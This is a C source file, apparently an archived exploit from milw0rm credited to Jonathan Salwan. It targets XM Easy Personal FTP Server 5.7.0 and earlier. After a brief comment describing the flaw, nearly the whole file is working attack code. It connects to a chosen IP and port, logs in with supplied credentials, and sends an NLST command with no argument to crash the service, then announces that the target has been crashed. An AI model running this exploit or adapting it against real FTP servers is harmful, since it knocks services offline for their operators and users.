106 lines
No EOL
3 KiB
C
106 lines
No EOL
3 KiB
C
/*
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XM Easy Personnal FTP Server <= 5.7.0
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Remote Denial of Service with Request (NLST)
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---------------------------------------------------------------------------------------------------------
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The vulnerability is caused due to an error in handling the NLST command. This can be exploited to crash
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the FTP service by sending the "NLST" with NULL argument.
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---------------------------------------------------------------------------------------------------------
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Author: Jonathan Salwan
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Mail : submit [AT] shell-storm.org
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Web : http://www.shell-storm.org
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*/
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#include "stdio.h"
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#include "unistd.h"
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#include "stdlib.h"
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#include "sys/types.h"
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#include "sys/socket.h"
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#include "netinet/in.h"
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int syntax(char *file)
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{
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fprintf(stderr,"XM Easy Personnal FTP Server <= 5.7.0\n");
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fprintf(stderr,"=>Syntax : <%s> <ip> <port> <login> <passwd>\n",file);
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fprintf(stdout,"=>Exemple : %s 127.0.0.1 21 login1 password1\n",file);
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exit(0);
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}
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int main(int argc, char **argv)
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{
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if (argc < 4)
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syntax(argv[0]);
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int port = atoi(argv[2]);
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int mysocket;
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int mysocket2;
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int srv_connect;
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int sockaddr_long;
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struct sockaddr_in sockaddr_mysocket;
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sockaddr_long = sizeof(sockaddr_mysocket);
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sockaddr_mysocket.sin_family = AF_INET;
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sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);
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sockaddr_mysocket.sin_port = htons(port);
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char request[50];
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char answer[200];
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fprintf(stdout,"[+]Connect to Server %s\n",argv[1]);
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mysocket2 = socket(AF_INET, SOCK_STREAM, 0);
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if(mysocket2 == -1){
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fprintf(stderr,"[-]FAILED SOCKET\n");
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return 1;}
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srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long);
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if (srv_connect != -1)
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{
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memset(answer,0,200);
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recv(mysocket2,answer,sizeof(answer),0);
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sprintf(request, "USER %s\r\n", argv[3]);
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if (send(mysocket2,request,strlen(request),0) == -1){
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fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n");
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shutdown(mysocket2,1);
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return 1;}
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else{
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memset(answer,0,200);
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recv(mysocket2,answer,sizeof(answer),0);
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}
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sprintf(request, "PASS %s\r\n", argv[4]);
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if (send(mysocket2,request,strlen(request),0) == -1){
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fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
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shutdown(mysocket2,1);
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return 1;}
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else{
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memset(answer,0,200);
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recv(mysocket2,answer,sizeof(answer),0);
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}
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sprintf(request, "NLST\r\n");
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if (send(mysocket2,request,strlen(request),0) == -1){
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fprintf(stderr,"[-]Send Request NLST\t\t[FAILED]\n");
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shutdown(mysocket2,1);
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return 1;}
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}
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else{
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fprintf(stderr,"[-]Connect\t\t[FAILED]\n");
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shutdown(mysocket2,1);
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return 1;}
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shutdown(mysocket2,1);
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fprintf(stdout,"[+]Done! %s has been Crashed\n", argv[1]);
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return 0;
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}
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// milw0rm.com [2009-03-27]
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